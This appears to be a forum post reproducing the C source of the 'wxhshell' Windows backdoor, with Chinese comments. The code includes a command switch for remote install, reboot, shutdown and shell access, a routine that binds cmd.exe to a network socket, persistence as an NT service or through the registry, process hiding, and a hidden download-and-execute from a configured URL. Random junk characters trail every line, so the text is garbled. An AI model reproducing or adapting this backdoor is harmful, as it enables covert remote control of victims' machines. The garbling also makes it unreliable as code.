  // 帮助 l!F$V;R  
  case '?': { U}RBgPX!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &ASR2J  
    break; ujZ`T0  
  } bI55G#1G  
  // 安装 _cX}!d!j  
  case 'i': { @"-\e|[N  
    if(Install()) \</!kY*3@t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kFv*>>X`  
    else Zd6ik&S   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P[ 2!D)A  
    break; yQiY:SH  
    } -GA F>  
  // 卸载 c]PTU2BB8  
  case 'r': { G}fB d  
    if(Uninstall()) @kWL "yy,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +e-F`k  
    else x#J9GP.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6O As%QZ  
    break; #$I@V4O;#  
    } WVdV:vJ-  
  // 显示 wxhshell 所在路径 .|Huz k+  
  case 'p': { `m7<_#Y  
    char svExeFile[MAX_PATH]; "`$,qvNN  
    strcpy(svExeFile,"\n\r"); mb1mlsE  
      strcat(svExeFile,ExeFile); D%p*G5Bg3  
        send(wsh,svExeFile,strlen(svExeFile),0); C9!t&<\ }  
    break;  bDkZU  
    } iT>u&0B-  
  // 重启 R}ki%i5|  
  case 'b': { x b"z%.j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :A8}x=K  
    if(Boot(REBOOT)) H~a ~ 'tm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQJ`&9m*BF  
    else { qq/>E*~  
    closesocket(wsh); d:@+dS  
    ExitThread(0); 7$'AH:K  
    } jk9f{Iu  
    break; D\acA?d`  
    } bj pruJ`=  
  // 关机 RdYmh>c  
  case 'd': { EtKq.<SJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +/~]fI  
    if(Boot(SHUTDOWN)) Xp:A;i9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /jG?PZ=m  
    else { }a7d(7  
    closesocket(wsh); (/e&m=~  
    ExitThread(0); f#0HiE!  
    } m+<&NDj.  
    break; #\0m(v  
    } T/_u;My;  
  // 获取shell BJj'91B[d  
  case 's': { H9mNnZ_k  
    CmdShell(wsh);  E^1yU  
    closesocket(wsh);  }QFL  
    ExitThread(0); YThVG0I =  
    break; W,xdj!^t  
  } ,/\`Rc^n  
  // 退出 oY)eN?c  
  case 'x': { o,*m,Qc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /Y #8.sr  
    CloseIt(wsh); A2|Bbqd  
    break; g:o/^_  
    } uNN/o}Qx  
  // 离开 >jW**F  
  case 'q': { x?Abk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y, l[v39  
    closesocket(wsh); n-Iz!;q  
    WSACleanup(); Kh]es,$D  
    exit(1); #a e@VedM  
    break; q+?&w'8  
        } a*P v^Np-v  
  } >C0B!MT?3%  
  } %;[DMc/  
6] x6FeuS  
  // 提示信息 T lXS}5^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C4mkt2Eb0a  
} kTL{Q0q  
  } Bhv;l/K])  
^E70$yB ^  
  return; <Wn~s=  
} suN6(p(.  
QVT0.GzR  
// shell模块句柄 e>MtDJ5  
int CmdShell(SOCKET sock) 2{ F-@}=  
{ |]&3*%b@  
STARTUPINFO si; >z<L60S  
ZeroMemory(&si,sizeof(si)); #{6VdWZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G_F_TNO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *~PB  
PROCESS_INFORMATION ProcessInfo; mdc?~??8  
char cmdline[]="cmd"; A;co1,]gR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f(Xin3#'  
  return 0; $H<_P'h-B  
} Y=XDN:  
sp\6-*F  
// 自身启动模式 6tH}&#K  
int StartFromService(void) G8repY  
{ 6s@!Yn|?  
typedef struct v}DNeIh~  
{ vPnS`&  
  DWORD ExitStatus; @K"$M>n$Z  
  DWORD PebBaseAddress; OX;bA^+}P  
  DWORD AffinityMask; O60T.MM`  
  DWORD BasePriority; =[n !3M+X  
  ULONG UniqueProcessId; JI@iT6.%IX  
  ULONG InheritedFromUniqueProcessId; h4n~V:nNm  
}   PROCESS_BASIC_INFORMATION; AROHe  
C. .|O  
PROCNTQSIP NtQueryInformationProcess; L1kn="5  
;~F* 2)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z\0wQ;}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %DttkrhL  
4 $k{,  
  HANDLE             hProcess; Id?-Og2i V  
  PROCESS_BASIC_INFORMATION pbi; /Z2u0jNArP  
) gl{ x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ( #dR\Di  
  if(NULL == hInst ) return 0; .U{}N%S  
EZj rX>"#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6nA9r5Ghv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o "r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YIN* '!N  
`Am|9LOT  
  if (!NtQueryInformationProcess) return 0; y>C !cYB  
"smU5 s,P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L 0Ckw},,  
  if(!hProcess) return 0; p W[TufTa  
q>%B @'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R*6TS"aL  
YMo8C(  
  CloseHandle(hProcess); E?]$Y[KJKs  
gYt=_+-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V dJ  
if(hProcess==NULL) return 0; ^qL<=UC.  
'A[PUSEE  
HMODULE hMod; +P))*0(c_  
char procName[255]; }X9 &!A8z  
unsigned long cbNeeded; 4l0>['K&{  
W(62.3d~}?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -']Idn6  
!~zn*Hm  
  CloseHandle(hProcess); O C;~ H{  
LDegJer-v  
if(strstr(procName,"services")) return 1; // 以服务启动 (%6fZ  
O}C*weU  
  return 0; // 注册表启动 6EY\  
} 5xc e1[  
"y8W5R5kL4  
// 主模块 TTO8tT3[6}  
int StartWxhshell(LPSTR lpCmdLine) -[*y{K@dh  
{ 3_RdzW}f  
  SOCKET wsl; &t UX(  
BOOL val=TRUE; 2?qT,pN  
  int port=0; 2a-]TVL3  
  struct sockaddr_in door; jct=Nee|  
odL* _<Z  
  if(wscfg.ws_autoins) Install(); E|-oUz t  
1#L%Q(G  
port=atoi(lpCmdLine); P:Q&lnC  
dOaOWMrfdf  
if(port<=0) port=wscfg.ws_port; 2(uh7#Q  
y=Eb->a){  
  WSADATA data;  3B]E2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zn/>t-Bc  
<XrXs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?yG[VW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Pc}-&  
  door.sin_family = AF_INET; JV,h1/a("  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8yIBx%"4MH  
  door.sin_port = htons(port); W2`3PEa  
F(j;|okf;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R o{xprE1  
closesocket(wsl); O\!'Ds+gX  
return 1; 3 K||(  
} 1Y"9<ry  
jjrE8[  
  if(listen(wsl,2) == INVALID_SOCKET) { N~b0b;e  
closesocket(wsl); {.U:Ce  
return 1; <0Y<9+g!  
} K:13t|  
  Wxhshell(wsl); ,5U[#6^  
  WSACleanup(); "kFNOyj3\  
{^Q,G x(  
return 0; ;mI^J=V3  
,+d8   
} O,7S1  
le_a IbB"P  
// 以NT服务方式启动 bp" @ p:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 83]m/Iz  
{ ]D~Ibv{Y  
DWORD   status = 0; K/(QR_@?  
  DWORD   specificError = 0xfffffff; @[v,q_^8  
e2fv%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X!{K`~DRX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |7KWa(V5I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >tkz%;6  
  serviceStatus.dwWin32ExitCode     = 0; yFd.tQs  
  serviceStatus.dwServiceSpecificExitCode = 0; p5"pQe S  
  serviceStatus.dwCheckPoint       = 0; %Cj_z  
  serviceStatus.dwWaitHint       = 0; `'3&tAy  
w)&4i$Lk6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eU)QoVt  
  if (hServiceStatusHandle==0) return; Aua}.Fl,  
UvU@3[fw  
status = GetLastError(); $KT)Kz8tF  
  if (status!=NO_ERROR) )zy ;!  
{ <l!:#u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tZx}/&m-  
    serviceStatus.dwCheckPoint       = 0; /V cbT >=  
    serviceStatus.dwWaitHint       = 0; Jza ?DhSAZ  
    serviceStatus.dwWin32ExitCode     = status; p7{H "AC  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0)zJG |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <H#0pFB  
    return; uF[*@N  
  } Xe:rPxZf~  
YvuE:ia  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V60"j(  
  serviceStatus.dwCheckPoint       = 0; [zq2h3r  
  serviceStatus.dwWaitHint       = 0; T#6g5Jnsp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CY.92I@S  
} S~H>MtX(<  
EUh_`R  
// 处理NT服务事件,比如:启动、停止 <_k A+&T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MSBrI3MqQ  
{ Y^DGnx("m  
switch(fdwControl) 3.P7GbN  
{ Xf"< >M  
case SERVICE_CONTROL_STOP: O8>&J-+2  
  serviceStatus.dwWin32ExitCode = 0; v>nBdpjXh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rtbV*@Z  
  serviceStatus.dwCheckPoint   = 0; p(="73  
  serviceStatus.dwWaitHint     = 0; AEx VKy  
  { :.=j)ljTx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eU`O=uE   
  } ^7i7yM}6(  
  return; h {zb)'R  
case SERVICE_CONTROL_PAUSE: =_ j<x$,b-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Al@. KTK  
  break; Q`.q,T8I  
case SERVICE_CONTROL_CONTINUE: r| ]YS6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WrRY 3X  
  break; BHU$QX  
case SERVICE_CONTROL_INTERROGATE: /ece}7M  
  break; IG\Cj7{K^  
}; VR1[-OE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z6;hFcO  
} oC} u  
q7_Ttjn-DV  
// 标准应用程序主函数 $B<:SuV#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rH,@"( p\  
{ ;/pI@C k  
VpB)5>  
// 获取操作系统版本 f8WI@]1F  
OsIsNt=GetOsVer(); MwQ4&z#wh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O^6anUV0  
=-r); d  
  // 从命令行安装 y3j"vKG  
  if(strpbrk(lpCmdLine,"iI")) Install(); |*b-m k  
Q@PDhISa  
  // 下载执行文件 ]xoG{%vgb  
if(wscfg.ws_downexe) { C4gES"T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 34"PtWbV>  
  WinExec(wscfg.ws_filenam,SW_HIDE);  .9r85  
} %{3q=9ii  
7{w}0PMx  
if(!OsIsNt) { %\|{_]h}y  
// 如果时win9x,隐藏进程并且设置为注册表启动 QY<5o;m`  
HideProc(); '+vmC*-I(  
StartWxhshell(lpCmdLine); Rrl  
} ZQ*Us*9I  
else ;PMh>ZE`  
  if(StartFromService()) D*PEIsV  
  // 以服务方式启动 m__pQu:  
  StartServiceCtrlDispatcher(DispatchTable); l1O"hd'~s  
else o[WDPIG  
  // 普通方式启动 Z zp"CK 5  
  StartWxhshell(lpCmdLine); eV(9I v[  
0b n%L~KU  
return 0; GP %hf{  
}
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只看该作者 1 发表于: 2006-10-10
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